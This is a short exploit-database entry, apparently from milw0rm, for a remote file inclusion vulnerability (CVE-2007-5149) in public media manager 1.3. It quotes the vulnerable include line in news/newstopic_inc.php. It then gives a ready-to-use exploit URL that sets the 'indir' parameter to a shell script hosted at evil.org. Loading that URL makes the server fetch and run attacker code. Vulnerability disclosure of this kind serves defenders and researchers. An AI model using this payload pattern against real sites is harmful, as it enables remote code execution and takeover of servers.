public media manager 1.3 - Remote File Inclusion

Author: 0in
type: webapps
platform: php
port: 
date_added: 2007-09-27  
date_updated: 2016-10-12  
verified: 1  
codes: OSVDB-37399;CVE-2007-5149  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.compmm-cms_1.3.tar.gz  

raw file: 4465.txt  

#f0und bY 0in
#Download:http://pmm-cms.sourceforge.net/
BUG:
news/newstopic_inc.php:2:if (!empty($indir)) include_once ($indir)."/newsdb/config.php";

Expl0it:
http://x.com/[path]/news/newstopic_inc.php?indir=http://evil.org/shell.txt

# milw0rm.com [2007-09-28]